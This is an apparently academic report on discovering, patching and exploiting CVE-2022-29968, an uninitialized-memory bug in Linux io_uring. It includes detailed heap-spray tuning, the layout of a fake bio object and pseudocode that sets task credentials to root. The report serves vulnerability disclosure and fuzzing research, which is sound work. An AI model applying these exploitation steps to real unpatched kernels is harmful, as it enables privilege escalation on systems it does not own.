LORD OF THE IO_URINGS

Joseph Ravichandran
jravi@mit.edu

Michael Wang
mi27950@mit.edu

1 Introduction

One of the world's most highly valued targets in computer hacking is the Linux kernel. A Linux kernel 0 day that allows an attacker to execute arbitrary kernel code and elevate their privileges to root is one of the most serious security issues imaginable. As the Linux kernel backs the vast majority of services on the Internet, it serves as the de facto root of trust for most of the world [15]. Even a mild security issue in the kernel, requiring very specific conditions to exploit, is extremely serious. Of course, being such a widely studied and analyzed target, exploits in the kernel are very far from trivial, and are quite hard to come by.

In this report, we will introduce the **Lord Of The IO_Urings** attack against the Linux kernel (assigned CVE-2022-29968), which is a new Linux kernel 0 day we discovered and exploited. We will provide background on how we discovered it, patched it, exploited it, and then perform an analysis of how bug finding techniques can be improved for the next decade of kernel security research. The crash was found with Syzkaller. Joseph and Michael analyzed the crash together, and Joseph wrote the exploit.

2 Background

2.1 Linux Kernel CVEs

A CVE (Common Vulnerabilities and Exposures) number is a unique identifier that tracks a particular security issue [26]. Our exploit's CVE number is CVE-2022-29968.

In 2021, there were a total of 159 Linux kernel CVEs, 11 of which led to code execution [2]. In addition, Google offers up to $91,337 for a full container escape on their Kubernetes clusters [30]. We are the 86th CVE awarded in the Linux kernel in 2022. We were awarded a CVSS score of 7.8 ("high" risk level) by the National Vulnerability Database (NVD) [22].

2.2 io_uring

The `io_uring` subsystem is a Linux kernel system call interface that allows for asynchronous IO operations [4, 11, 19, 28]. It was initially developed by Jens Axboe at Facebook. There are two ring buffers shared between kernel and user space, one for submission of requests and one to inform users of the completion of requests. A user can submit system calls to the submission queue, inform the kernel that a system call has been added to the submission queue. The kernel then processes requests that have been submitted and adds them to the completion buffer.

2.3 Block Devices

A Block Device is a Linux abstraction around a particular kind of device. In general, block devices are devices whose information can be accessed in any order and whose data is organized in xed-size blocks. Floppy disks and CD-ROMs are examples of block devices [20, 23].

2.4 Kernel Exploit Mitigations

We will refer to several kernel exploit mitigations throughout our description of our attack proof of concept.

KASLR . Kernel Address Space Layout Randomization (KASLR) [12] is a mitigation which randomizes all addresses in the Linux kernel at boot time. It can be thought of as an extension of ASLR to the kernel. A kASLR bypass is a primitive which leaks a kernel pointer.

SMAP/SMEP . Supervisor Mode Access Protection (SMAP) [10] marks all userland pages as non-accessible when the processor is in kernel mode, meaning that the kernel cannot read or write any userland memory. Supervisor Mode Execution Protection (SMEP) [5] marks all userland pages as non-executable when the processor is in kernel mode. With SMAP/SMEP enabled, the kernel cannot read, write, or execute userspace pointers except through well-de ned interfaces (making exploitation much harder).

2.5 Syzkaller

Syzkaller is a suite of kernel fuzzing utilities developped by Google [16, 24]. Syzkaller can be used for fuzzing various kernels across various architectures. We used Syzkaller to fuzz the Linux kernel on x86-64. We did not target any system in the kernel in particular, however, we built the kernel with a minimal con guration designed to increase fuzzing speed with the bare minimum set of features required to provide coverage feedback. We ran each fuzzing VM with 2 virtual cores to try and hit race conditions between cores.

Syzbot [17] is a service maintained by Google that fuzzes many di erent operating systems with an enormous amount of compute power. One of our worries while doing this project is that while we were working on our exploit, Syzbot would independently reproduce our crash, and someone else would beat us to completing the exploit. Luckily for us, we were rst to report this bug.

3 Fuzzing

We ran multiple Syzkaller instances on commit b08968f196d4, version 5.17-rc7. Our main server (that found the crash we ended up exploiting) belongs to TechSec [7] and has 24 cores and 32GB of RAM. The server was purchased used for $400. We found many crashes, but focused on 12 of them. Speci cally, we focused on di erent kinds of KASAN crashes with `bio_poll` and `iocb_bio_iopoll` in their backtraces. These crashes seemed particularly appealing as they seemed to be a clear-cut use after free. However, as we discuss in Section 4, this ended up not being the case.

3.1 KASAN

The Kernel Address Sanitizer (KASAN) is a dynamic memory error detector that is commonly used for nding memory errors (such as use after free bugs and null pointer dereferences) [3]. The KASAN crashes we focused on were variants of one of the following ve crash categories: General Protection Fault, Use After Free, SLAB Out-Of-Bounds, NULL Pointer Dereference, and Wild Memory Access.

3.2 The First Crash

We focused on the crashes in `bio_poll` and `iocb_bio_iopoll` . These are functions which poll for block I/O completions in the block I/O layer during asynchronous I/O operations, and are called during `io_uring` cleanup by our reproducer. Listing 1 provides a sample crash stack trace.

Listing 1: A sample crash stack trace

```
bio_poll+0x2c7/0x330 block/blk-core.c:980
iocb_bio_iopoll+0x77/0xb0 block/blk-core.c:1035
io_do_iopoll+0x256/0xe30 fs/io_uring.c:2629
io_iopoll_try_reap_events+0xa4/0xf6 fs/io_uring.c:2683
io_ring_ctx_wait_and_kill+0x15f/0x27e fs/io_uring.c:9675
io_uring_release+0x42/0x46 fs/io_uring.c:9692
__fput+0x21e/0x940 fs/file_table.c:317
task_work_run+0xe1/0x180 kernel/task_work.c:164
exit_task_work include/linux/task_work.h:32 [inline]
do_exit+0x979/0x2730 kernel/exit.c:806
do_group_exit+0xb5/0x2a0 kernel/exit.c:935
get_signal+0x382/0x1ca0 kernel/signal.c:2863
arch_do_signal_or_restart+0x2f8/0x17b0 arch/x86/kernel/signal.c:868
handle_signal_work kernel/entry/common.c:148 [inline]
exit_to_user_mode_loop kernel/entry/common.c:172 [inline]
exit_to_user_mode_prepare+0xe8/0x150 kernel/entry/common.c:207
__syscall_exit_to_user_mode_work kernel/entry/common.c:289 [inline]
syscall_exit_to_user_mode+0x1d/0x40 kernel/entry/common.c:300
do_syscall_64+0x48/0x90 arch/x86/entry/common
```

3.3 The Reproducer

Syzkaller outputs a reproducer written in C which replicates the crash. However, the majority of the reproducer we generated included code that was not necessary to trigger the bug. This added complexity made understanding the reproducer quite difficult. See Figure 6 in the Appendix for part of the original reproducer. One of our first steps was to reduce the extraneous code in the reproducer and rename constants to variables. Part of our cleaned up reproducer can be seen in Listing 7 in the Appendix. This reproducer could reliably crash the latest version of the Linux kernel at the time. Armed with our minimized reproducer, we continued analyzing the crash to determine the root cause.

4 Analysis

Below is a summary of the strategies we used to debug the kernel and understand the crash.

GDB-GEF + QEMU. GDB-GEF [6] is a plugin for GDB which provides additional features to assist dynamic analysis and exploit development. QEMU [8, 9] is a full system emulator which can be used to quickly run different kernel versions. GDB can attach directly to QEMU and allows for easy dynamic analysis of the kernel.

Ftrace. ftrace (Function Tracer) [29] is a tracing framework for the Linux kernel that can record information related to different function calls while the kernel is running. We used ftrace to trace all `io_uring` methods related to our crash. As ftrace has difficulty tracking individual objects within a function's lifetime, we found supplementing ftrace with strategic `printk`'s was quite useful for quickly understanding what a particular function was doing as part of the greater crash.

Instrumentation. One of the most useful techniques was using `printk` statements at various parts of the kernel to trace object allocations and which objects get used where.

SLUB debugger. The SLUB debugger allows the kernel to insert constants into SLUB allocated objects (eg `0x6B6B6B6B` for freed memory) [1]. This allowed us to perform lightweight experiments with a degree of address sanitization without using KASAN (which crashes immediately upon detecting a memory issue). This allowed us to get further into the crash case and see where the invalid data is actually being used.

Git Bisect. Using `git bisect`, we isolated the crash to `3e08773c3841` ("block: switch polling to be bio based"). Performing the bisect took 19 steps and we ran them all by hand. Having the exact commit that caused the crash was incredibly useful, as we were able to isolate the crash to something related to how `io_uring` interacts with the block system (as opposed to something else in the 11,000+ lines of code in `io_uring`).

Static Analysis. In addition to dynamic instrumentation, we also analyzed the kernel code statically. This process was quite arduous, and we believe care should be taken to supplement all static analysis with a degree of experimentation. We found the best way to understand how a part of the system behaves is to run it!

4.1 Root Cause Analysis

Determining the root cause from the crashes was quite challenging. We initially believed the bug to be a Use after Free (UaF), where a struct io_kiocb was being used after being freed. Inserting printk statements at all places struct io_kiocb 's can be allocated/ freed, as well as at the location of use, showed us that the io_kiocb 's that were causing crashes were freshly allocated and never freed. Additionally, the existence of crashes where the UaF object was part of a different cache than the io_kiocb cache implied that something other than a UaF was going on. Uninitialized memory pointing to recently freed objects would explain these unrelated UaF crashes.

We knew from reading the code that the crash involved incorrect information in io_kiocb.rw.kiocb.private (which later becomes the bio used in iocb_bio_iopoll), however we weren't sure where the corruption was coming from. To trace this, we patched the io_kiocb creation code to only create one request object. This made it simpler to trace, as the single allocation would be reused between requests. We then set a watchpoint on its rw.kiocb.private field to see which parts of the kernel read/ write to this value. As the struct io_kiocb consists of a massive union of various structures, and is cast between different objects all over the place, tracing exactly what writes to the private field was difficult. We also set breakpoints at io_kiocb creation and destruction. We found that between object creation and use of the private field, nothing seemed to be writing to it.

The io_uring system makes use of a free list of recently \freed" struct io_kiocb 's, so that objects can be recycled without going to the allocator. We believe this free list was responsible for much of the confusion we experienced in parsing the various crashes and performing various experiments.

After observing crashes in which ASCII data was encoded within the kiocb->private field, we realized that it was highly likely the private field was not being initialized. We set kiocb.private to NULL in io_preinit_req (which is called after creating a new io_kiocb) and found that the reproducer was no longer able to cause kernel panics (bio was always set correctly), proving that the real issue was uninitialized memory.

5 Upstreaming a Patch

Our initial patch submitted to the io_uring maintainers fixed the uninitialized memory issue by setting private to NULL in io_prep_rw. We reasoned that io_prep_rw was the best place to initialize all fields used by the rw flavor of io_kiocb as it is called during object initialization (and prevented the reproducer from working).

We received feedback from Jens Axboe, the author of io_uring, that a better place to set this was in IORINGSETUPIOPOLL init. So, we moved the patch to the part of io_rw_init_file that handles setting up IOPOLL-enabled requests. This version of the patch was accepted upstream as 32452a3eb8b6 ("io_uring: fix uninitialized field in rw io_kiocb").

6 Attack

Now that we had isolated the issue and upstreamed a patch fixing it, we moved on to exploiting the bug. We began with the hand-optimized Syzkaller reproducer. This reproducer can reliably trigger the uninitialized memory code path, calling iocb_bio_iopoll (in block/blk-core.c) with the kiocb->private field uninitialized. The reproducer follows the standard Syzkaller procedure of launching two threads{ a child thread that executes one iteration, and a parent thread that waits for the child process to terminate.

Our attack operates in two phases. The first phase consists of a kernel heap spray that sprays pointers to the fake struct bio we want to put into kiocb->private. The second phase consists of triggering the reproducer with a fake struct bio containing our payload.

As we do not assume we have a kASLR bypass, we place the executable payload and fake struct bio in userspace, and assume SMAP/SMEP are disabled (so the kernel can execute payloads stored in userspace). With a kASLR bypass, we could store the fake struct bio in the kernel heap (using either userfaultfd or IPC message spray techniques) and use well-studied code reuse techniques such as a stack pivot + ROP to build an execution chain.

6.1 The io_kiocb object

The uninitialized field lives within the io_kiocb object used to track io_uring requests. A kiocb is a "kernel IO callback", and an io_kiocb is the io_uring wrapper around a kiocb. io_kiocb's first field is a massive union for the possible request types. One of the entries in the union is a struct io_rw which contains a kiocb object. The rw flavor of request is used for file IO, which is what our attack uses (IORING_OP_READ). The kiocb.private field is the uninitialized field (left uninitialized after constructing an io_kiocb in io_init_req). The private field lives at an offset of +0x18 bytes from the base of the struct io_kiocb. This is important as our heap spray will need to control offset +0x18 from the base of the object[1].

6.2 The Kernel Heap

The Linux kernel memory allocator system provides a high level allocator (the SLUB allocator) on top of a low level page allocator (the buddy allocator). In short, kernel heap objects belong to caches. Each type will belong to a particular cache. kmalloc places objects into the generic caches (eg kmalloc-2k), which are available for any object of a particular size. A dedicated cache can be created for a particular object, which can be used by the kmem_cache_alloc family of methods. Each cache contains a chunk of pages (provided by the buddy allocator) which are where the objects for that cache are placed. What this means practically for us attackers is that two objects A and B that belong to different caches can never be placed at the same address (as each cache has its own set of pages where objects can be allocated).

The io_kiocb type (the object containing the kiocb we are attacking) is allocated in a dedicated io_kiocb cache. This rules out the possibility of spraying objects into the same cache and later hoping that a new io_kiocb will reuse the previously allocated memory. In order to control the contents of an object in the io_kiocb cache, we will need to poison the pages in the buddy allocator before the io_kiocb cache allocates any pages.

Luckily for us, io_kiocb's are allocated in bulk using the kmem_cache_alloc_bulk method. If no io_kiocb's have been created so far, this call will request a brand new page from the buddy allocator. As we can control when this allocation occurs, we can pre-poison the buddy allocator pages, and then later trigger a bulk allocation which will request a new page from the buddy allocator (hopefully containing our malicious spray content at the correct location).

6.3 Heap Spray

Our goal with heap spray is to allocate a large number of kernel pages, fill them up with pointers to our fake struct bio, and then release them to the buddy allocator. Later, one of the pages we just freed will become the page given by the buddy allocator to the io_kiocb cache. There are a few challenges associated with doing this practically and reliably. First, we need to find a code path in the kernel that allows us to allocate an object satisfying the following properties:

- The object contents are (mostly) controlled by the attacker.
- The lifetime is controlled by the attacker.
- The object lives in a low-noise cache.

For our spray primitive, we do not need to target a particular allocation size or cache, as long as the usage of the cache we occupy is low. This is so that there is a high likelihood that when we free all of our objects, the page will be returned to the system for reuse later. If we end up in a cache that has a high level of usage, it is likely that uncontrolled objects will be placed in our page between sprayed objects, fragmenting the page and possibly preventing it from being returned to the system when we free the attacker objects.

For this same reason, the objects must have a lifetime controlled by the attacker. This is so that we can prevent self-contention by holding onto allocated objects for long enough for the spray to complete. We want to keep the objects we have already allocated in-memory long enough for every worker thread to finish spraying. Otherwise, if some threads freed their objects before other threads could allocate their objects, the newly sprayed objects would simply overwrite previous allocations, and our spray would not hit as many pages as we could. Figure 1 provides an overview of our heap spray approach.

[1] struct io_kiocb is 224 bytes large in the version of the kernel we fuzzed on.

Figure 1: Overview of our approach to spraying the kernel heap for uninitialized memory.

Once many pages are lled up with attacker controlled objects, all worker threads should release the sprayed objects and exit at the same time. Again, this provides the greatest chance that no other objects are placed into our sprayed pages while we are exiting, and gives us the greatest chance of merging the freed pages inside the buddy allocator for future allocations [18].

The other challenge associated with heap spray is controlling object contents. Some code paths through the kernel allow some parts of an object to be controlled, but not all parts. As we are targeting a very particular eld in the kiocb , we want to ensure that the attacker is able to control the private o set (at +0x18 bytes) inside of the sprayed object. We do not care about controlling any other elds.

Our heap spray must satisfy di erent considerations than most UaF heap spray techniques commonly used in kernel exploitation (speci cally for race conditions). A typical heap spray attempts to contend with a particular cache and overwrite an object that is being used after being freed with attacker controlled data. As we are targeting the underlying page allocator instead of the high level kmem object allocator, we need to adjust our spray parameters. Namely, we need to ensure massive amounts of objects are allocated as tightly packed together as possible, and need to hit enough pages such that the buddy allocator joins the pages together and returns one of them to the next kmem page request. Our spray technique need not be precise, so long as it is able to spray a huge number of objects quickly with minimal overhead.

Several well-known methods for spraying objects in the kernel heap exist [27]. We implemented our own version of two of these approaches, namely the userfaultfd and IPC message approaches, with our implementations tuned to the exact requirements of our kernel spray.

6.3.1 userfaultfd + setxattr

Our rst approach was to use userfaultfd with setxattr [27, 32]. As the private eld is very close to the beginning of the object in question (at +0x18 bytes), we wanted to start with the spray technique that gave us complete control of the entire beginning of the object. userfaultfd is a kernel feature that allows page faults to be handled in userspace.

The idea behind this approach is to set up the attacker controlled data across two mapped pages, where the rst page is present in memory, and the second is not. When the second page is accessed, a page fault will occur, and the kernel will hand control over to userspace. Normal userfaultfd programs will handle the page fault, allowing whatever was trying to access the page to continue. Instead, we will have the entire thread go to sleep, which essentially pauses the consumer of the page. This allows us to pause the kernel halfway through whatever it's doing.

We use the setxattr system call as our target endpoint. Normally, setxattr will call kvmalloc to create an object whose size the user controls. Next, it will call copy_from_user to copy an entire user controlled bu er into the newly allocated memory. Finally, it will do some processing with that data, and then free it before returning. There is no direct code path to make this object persist past the lifetime of the function. As we need to have many objects in memory at once to maximize the number of pages we spray, setxattr as it was written does not provide a primitive for our heap spray.

However, by combining userfaultfd and setxattr , we can make the attacker controlled bu er lie on a page boundary such that a page fault will be encountered halfway through copy_from_user , which will allow us to

pause the thread, keeping the object allocated for as long as we like. Figure 2 shows the control flow of setxattr with and without userfaultfd faults.

Figure 2: setxattr control flow with and without userfaultfd faults

We both wrote our own implementation of this technique and tried one created by another researcher [32]. We found that in both cases, the overhead of launching one thread per object, mmaping two pages, and installing a userfaultfd handler caused a large amount of noise in the kmem caches. This resulted in a large degree of fragmentation inside of our spray caches, and made it harder for us to return pages to the buddy allocator. Additionally, we were unable to get this method to spray in the quantity needed to fill up a lot of pages.

As the upper limit on strings passed to setxattr is extremely large, we experimented with passing massive single buffers to setxattr and freeing them. However, we found that this technique did not ever overlap with pages returned by the buddy allocator for use by the io_kiocb cache. We believe this is due to larger allocations directly grabbing pages instead of passing through the buddy allocator, and different free pages being passed back via the buddy allocator when the next allocation request happens, although we did not investigate this further. Our next technique was significantly more effective, negating the need to fiddle with large setxattr allocations.

We conclude that the userfaultfd technique is likely useful when an entire object in a generic kmalloc cache needs to be controlled, but this technique is poor for manipulating the underlying page allocator.

6.3.2 IPC Messages

Another commonly used kernel heap primitive is the inter-process communication API. msgsnd msgsnd allocates a message in a message queue that will last until it is received with msgrcv. While this approach gives us objects whose size and lifetime we control, we do not control the entire contents of the msg_msg. The first part of each message is occupied by the 48 byte[2] message header which we have no control over. As this header overlaps with the private field at +0x18 bytes for an aligned allocation (assuming the spray object and the io_kiocb are aligned to the same address), we needed to be careful with how we sprayed our objects.

Through experimentation, we found that requesting messages of 120 bytes (168 byte requests passed to kmalloc, including the msg_msg header) resulted in the highest chance that our spray contents would end up in the io_kiocb (which is 224 bytes on our testing kernel). Our 168 byte allocation requests end up occupying the kmalloc-192 cache (as 168 bytes is rounded up to the nearest available general purpose cache, which is the cache for 192 byte sized objects). We found that this size was optimal for creating overlapping objects with the io_kiocb allocations that our reproducer triggered. Figure 3 shows a memory trace immediately after a crash where the spray was successful.

To create Figure 3, we sprayed the value 0x4141414141414141. We then traced every msgsnd allocation created during our spray attempt, and finally ran the exploit. We observed a general protection fault from trying to access 0x4141414141414149 (this happens when iocb_bio_iopoll does bio->bi_bdev, as bi_bdev is at offset +0x08 bytes into bio).

0xffff8880079ca180 belongs to the nearest msg_msg that landed near what eventually became our io_kiocb. The io_kiocb begins at 0xffff8880079ca200. We observe a comfortable overlap between the message contents and the io_kiocb, as the message is aligned to a different address than the io_kiocb. Since the objects are misaligned, the msg_msg header is not an issue, and the overflow contents are reliably inserted into the io_kiocb.rw.kiocb.private field (again, which later becomes the address of the bio used in iocb_bio_iopoll).

[2] sizeof(struct msg_msg) == 48 in our kernel. This size was also confirmed by tracing the kmalloc call made by alloc_msg

Figure 3: Showing the overlap between a sprayed message and a kiocb .

Our message spray approach uses NUM_WORKERS worker pthreads, where each worker thread performs the following:

1. Sends MSGS_PER_WORKER messages with msgsnd
2. Sleeps for a few seconds.
3. Receives all the messages it sent with msgrcv.

We carefully tuned the parameters to achieve the best results in our VM, and found the optimal number of worker threads to be 120, and the optimal number of messages per worker to be 30. Each worker thread sleeps between allocations and frees to give the other worker threads time to complete their sprays (to eliminate reallocations). We found that using a simple sleep was sufficient to make our exploit reliable without the need for any synchronization between the workers.

6.4 Payload

Now that we can reliably overwrite the private field, we need to construct an object to point to that can trigger code execution in the kernel. Listing 2 shows how the block system uses the bio struct once the iopoll handler is called from io_uring .

Listing 2: How the bio object is used.

```
int bio_poll(struct bio *bio, struct io_comp_batch *iob, unsigned int flags) {
    struct request_queue *q = bdev_get_queue(bio->bi_bdev);
    blk_qc_t cookie = READ_ONCE(bio->bi_cookie);
    int ret = 0;

    if (cookie == BLK_QC_T_NONE ||
        !test_bit(QUEUE_FLAG_POLL, &q->queue_flags))
        return 0;

    blk_flush_plug(current->plug, false);

    if (blk_queue_enter(q, BLK_MQ_REQ_NOWAIT))
        return 0;
    if (queue_is_mq(q)) {
        ret = blk_mq_poll(q, cookie, iob, flags);
    } else {
        struct gendisk *disk = q->disk;

        if (disk && disk->fops->poll_bio)
            ret = disk->fops->poll_bio(bio, iob, flags);
    }
    blk_queue_exit(q);
    return ret;
}
```

Notice that on line 20, a code pointer controlled by the attacker is read and executed. Our exploit payload must construct a fake bio struct such that bio_poll executes line 20 with the attacker controlled definition of fops->poll _bio .

We start by allocating a chunk of memory at a fixed constant virtual address in userspace. Since our spray requires an address as the first step (we found no way to leak a kernel pointer with this bug alone), we assume that SMAP/SMEP are disabled, and thus we can use userspace objects in the kernel. If an attacker had a kASLR leak, they could use that here instead (by allocating an object in the kernel heap and spraying pointers to that object instead).

We constructed a bio that passed all the checks by viewing the disassembly of bio_poll and manually filling in the required memory addresses in the mmap region representing the fake bio struct. In short, the following conditions must be satisfied:

- bio->bi_bdev points to our fake bdev
- bio->bi_bdev->bd_queue points to our fake request_queue
- bio->bi_bdev->bd_queue->disk points to our fake gendisk
- bio->bi_bdev->bd_queue->disk->fops points to our fake virtual function table
- Our fake virtual function table's poll _bio method points to our payload to execute (in userspace executable memory)
- bio->bi_cookie != BLK_QCT_NONE
- bio->bi_bdev->bd_queue->queue_flags == QUEUE_FLAG_POLL (0x10000)

Mechanically satisfying these conditions is difficult as porting complete struct definitions into userspace for various kernel objects requires tracking down a large number of header dependencies. We found it quicker to simply analyze the assembly and write directly into the userspace mmap region as a byte array at particular offsets. Now that our fake bio is created and resolves to a fake virtual function table, we need to construct a payload to execute.

The kernel will call our payload following the C ABI for a method with the same signature as poll _bio . We do not care about the arguments, nor do we care about the kASLR slide, as our payload is address independent. Listing 3 shows a snippet from a GDB session as the kernel enters our payload method. Note that the processor cs register contains a value whose lower 2 bits are 0{ this means the CPU is operating in ring 0 (kernel mode) [21]. However, the code being executed is attacker code. The core is running attacker controlled userspace code with kernel privileges.

Listing 3: GDB session showing executing the user payload with kernel CPL

```
(gdb) x/4i $pc
=> 0x401cb5:  endbr64
   0x401cb9:  push   rbp
   0x401cba:  mov    rbp,rsp
   0x401cbd:  mov    QWORD PTR [rbp-0x28],rdi
(gdb) p/x $pc
$6 = 0x401cb5
(gdb) p/x $cs
$7 = 0x10
```

Now, all that remains is elevating the privileges of our current task to root to achieve local privilege escalation. There is one problem, however. The call trace that triggered the execution of userspace code is a consequence of the exploit's child process attempting to quit. Listing 4 shows the backtrace at the payload entrypoint.

Listing 4: Backtrace at payload entry.

```
(gdb) bt
#0  0x0000000000401cb5 in ?? ()
#1  0xffffffff81439c23 in bio_poll (bio=0x30000000, iob=iob@entry=0xffffc900001d7db0, flags=
    flags@entry=3) at block/blk-core.c:966
#2  0xffffffff81439c87 in iocb_bio_iopoll (kiocb=0xffff8880078f8200, iob=0xffffc900001d7db0, flags
    =3) at block/blk-core.c:1008
#3  0xffffffff81298121 in io_do_iopoll (ctx=ctx@entry=0xffff88800785a800, force_nonspin=
    force_nonspin@entry=true) at fs/io_uring.c:2779
#4  0xffffffff81c536c9 in io_iopoll_try_reap_events (ctx=ctx@entry=0xffff88800785a800) at fs/
    io_uring.c:2834
#5  0xffffffff81c538af in io_ring_ctx_wait_and_kill (ctx=ctx@entry=0xffff88800785a800) at fs/
    io_uring.c:10177
#6  0xffffffff81c53941 in io_uring_release (inode=<optimized out>, file=<optimized out>) at fs/
    io_uring.c:10195
#7  0xffffffff81235f9c in __fput (file=0xffff88800786ea00) at fs/file_table.c:317
#8  0xffffffff8109237f in task_work_run () at kernel/task_work.c:164
#9  0xffffffff8107453b in exit_task_work (task=0xffff888007893a00) at ./include/linux/task_work.h
    :37
#10 do_exit (code=code@entry=0) at kernel/exit.c:795
#11 0xffffffff81074dfd in do_group_exit (exit_code=0) at kernel/exit.c:925
#12 0xffffffff81074e74 in __do_sys_exit_group (error_code=<optimized out>) at kernel/exit.c:936
#13 __se_sys_exit_group (error_code=<optimized out>) at kernel/exit.c:934
#14 __x64_sys_exit_group (regs=<optimized out>) at kernel/exit.c:934
#15 0xffffffff81c9d01b in do_syscall_x64 (nr=<optimized out>, regs=0xffffc900001d7f58) at arch/x86/
    entry/common.c:50
#16 do_syscall_64 (regs=0xffffc900001d7f58, nr=<optimized out>) at arch/x86/entry/common.c:80
#17 0xffffffff81e0007c in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:115
```

Instead of trying to elevate the privileges of the currently executing (soon to be dead) thread, we elevate the privileges of the parent thread. Then, we modify the reproducer to first try and run a shell before spawning a new child worker thread. If the shell does not grant root privileges, the user can simply detach from the new shell to cause the parent thread to resume and attempt to execute the exploit again.

Our payload must be address independent (as we assume we do not have a kASLR leak). To do this, we read the task_struct from the gs segment[3]. Listing 5 provides an overview of this payload in pseudocode.

Listing 5: Our payload to elevate the parent task's privileges to root

```
# Find parent creds pointer from the gs segment
current_task = load(gs:0x1AD00)
parent_task = load(current_task + 0x578)
creds_ptr = load(parent_task + 0x728)

# Set privileges to root
creds_ptr->uid = 0
creds_ptr->gid = 0
creds_ptr->suid = 0
creds_ptr->sgid = 0
creds_ptr->euid = 0
creds_ptr->egid = 0

# Return value for fake iopoll should indicate failure
return -1
```

If everything worked, when the payload completes, the child thread will quit and the parent thread will be elevated to root privileges.

6.5 Reliability

We found that the heap spray succeeds a good proportion of the time. We did not conduct a formal investigation into the success rate of the exploit, however, we observed we can reliably trigger it on a non-KVM Busybox

[3] On x86_64, segmentation is disabled, save for the fs and gs segments. The gs segment is commonly used for storing per-core data, such as the task_struct for the currently running task.

single-core Qemu VM with a low amount of memory. On failure, the exploit tends to panic the kernel, so failed attempts would be easy to observe by a system administrator. With further tuning, we suspect our attack's success rate can be increased further to near perfection.

7 A ected Versions

Any kernel after 3e08773c3841 ("block: switch polling to be bio based") and before 32452a3eb8b6 ("io_uring: fix uninitialized field in rw io_kiocb") should be vulnerable to this. We tested on a variety of kernels throughout our exploit development. We have con rmed that 3c76fe74368b is the last commit vulnerable to our attack (as it is the last commit before our patch).

7.1 Exploitability

Multiple preconditions must be satis ed in order for our exploit chain to work. Namely, multiple exploit mitigations in the Linux kernel must be disabled for our proof of concept attack to work. An attacker with a kASLR leak could likely construct a di erent attack that can function in the presence of these mitigations. For our proof of concept attack, we assume we cannot bypass kASLR, and that SMAP/ SMEP are disabled. In addition, we require a block device on the machine in order to call the bio_poll function. We use the /dev/sr0 block device, which is the SCSI CD-ROM device. We believe our exploit could be made to work with any block device (including a user-mounted FUSE lesystem device), however we use /dev/sr0 for simplicity in our proof of concept attack[4].

In the spray step of the attack, we sprayed pointers to a fake bio object. We have two options for where to put this object- in the kernel heap (works with SMAP/SMEP), or in userspace (assuming SMAP/SMEP are o). Our proof of concept attack placed it in userspace, however, an attacker could also use the kernel heap if they know where the heap is. Placing the bio in the kernel heap requires a kASLR bypass in order to know what address to spray. We assume we have no kASLR bypass, but SMAP/SMEP are disabled, so we place our object in userspace.

7.2 Test Environment

We performed all of our testing in a non-KVM Qemu virtual machine[5]. Our VM used 128 Megabytes of memory (as we found that using less memory forces the buddy allocator to be more aggressive in its page reuse, increasing the spray success rate). Our VM is a single core machine. As the kernel memory caches use extensive amounts of per-CPU storage, we reasoned that a single core machine would be more reliable to run experiments on. We alternated between testing in the Syzkaller Debian Stretch environment and a manually-built Busybox [31] environment using initramfs . The Busybox environment provided extremely little noise, increasing the signal to noise ratio of various experiments (such as strace traces).

7.3 Scaling

While we do not believe access to /dev/sr0 is a strict requirement to exploit this bug, we checked to see if it was available on common platforms. We found that /dev/sr0 exists and is readable/writable by the cdrom group in Ubuntu 20.04, 18.04, 16.04, and 14.04 on VMWare Workstation. We also found that an Ubuntu VM created under ESXi had /dev/sr0 present and marked as read/ write for the cdrom group, of which the default user account was a member of. We found that by default users are part of the cdrom group and have read/write access to /dev/sr0 . We have tested our full chain exploit in QEMU using the latest Linux Kernel (5.18{rc4 at the time of writing). We have con rmed that the bug occurs in Ubuntu 20.04, and is also triggerable from within a Docker container[6].

We have only shown arbitrary code execution to work reliably under Busybox, however, there is no reason the attack could not be tuned to work on other Linux platforms running a vulnerable kernel.

[4] We make this claim as our io_uring calls only require a le descriptor for which IOPOLL is supported, which is true for block devices. Nothing about the CD-ROM is special in that regard, so we conclude it is likely possible for other block devices to work. However, we have not tested this hypothesis.

[5] Note that the exploit test environment is di erent from the environment used by Syzkaller fuzzing virtual machines.

[6] Where a CD-ROM is attached with a command line ag.

8 Conclusion and Takeaways

We tried to apply our lessons learned from fuzzing to analyze how future fuzzers and kernel tooling can be improved. Previous works have studied how to improve the performance of Syzkaller [24]. We wanted to focus less on the raw performance of the fuzzer, and more how to minimize human effort required to turn crashes into CVEs. Figure 4 provides a graph plotting the level of effort required to use/ enable a particular feature against how useful it ended up being towards the final attack. Many avenues we investigated ended up being dead ends. We want to focus on what techniques we found effective, and investigate how to improve them.

Figure 4: Various techniques we tried, level of effort plotted against utility towards the project.

Improving the reproducer. The reproducer produced by Syzkaller was extremely hard to read, and could be improved. Many system calls involved writing magic numbers into magic addresses. The fuzzer clearly understands the semantics of the `io_uring` system calls, so the reproducer could be updated to reflect that understanding. Instead of writing directly to memory addresses, the reproducer could construct structs by name and show which flags are being written symbolically. The fuzzer itself could have a feature to automatically try and remove random lines to see which parts of the reproducer were absolutely necessary to trigger the bug.

Object tracing semantics are needed. The kernel has no easy way to trace individual allocations through all the various casts and re-casts. As our buggy object (`struct io_kiocb`) consisted of a large many-field union with casts all over the place, it was quite hard tracking the producers and consumers of the value we wanted to trace. An ftrace-like tracing utility for inserting dynamic watchpoints could vastly improve the debugging experience. One of the techniques we used was changing variable names in header files and recompiling the kernel to find all uses of a field (by watching to see where errors occur). This was only needed for very generic names that couldn't be traced with ctags or grep. Better static analysis tooling could also help in this regard.

Targeted fuzzing is difficult. Currently, it is difficult to direct Syzkaller towards a particular function or subsystem. The `io_uring` subsystem is still relatively unexplored, and likely has other bugs we haven't found. It would be nice if we could more easily direct Syzkaller to prioritize inputs that trigger functions in this subsystem.

8.1 Lessons Learned

A common misconception that we held is that "fuzzing the kernel with basic resources will not reveal bugs, as the kernel has been fuzzed to death." Clearly, that is not true for Linux. The kernel state space is so large that with only a few hundred dollars of equipment, individual researchers can discover new bugs. We fuzzed on both the cutting edge kernel, as well as an official release, and found way more bugs (including the Lord of the `io_urings` bug) on the cutting edge kernel build. From our experiences, we believe that fuzzing on the very latest kernel commit is ideal, newer features have had less time to be tested. Targeted fuzzing would be quite useful here as well— we suspect pointing the fuzzer in the general direction of very recently modified code would reveal a large number of bugs.

9 Links

Our code is available at https://github.com/jprx/CVE-2022-29968.

A public blog post regarding the bug can be found at: jravi.io/iouring

Our CVE has entries in many CVE tracker databases. Here are a few of them from major vendors:

Red Hat: https://access.redhat.com/security/cve/cve-2022-29968

Ubuntu: https://ubuntu.com/security/CVE-2022-29968

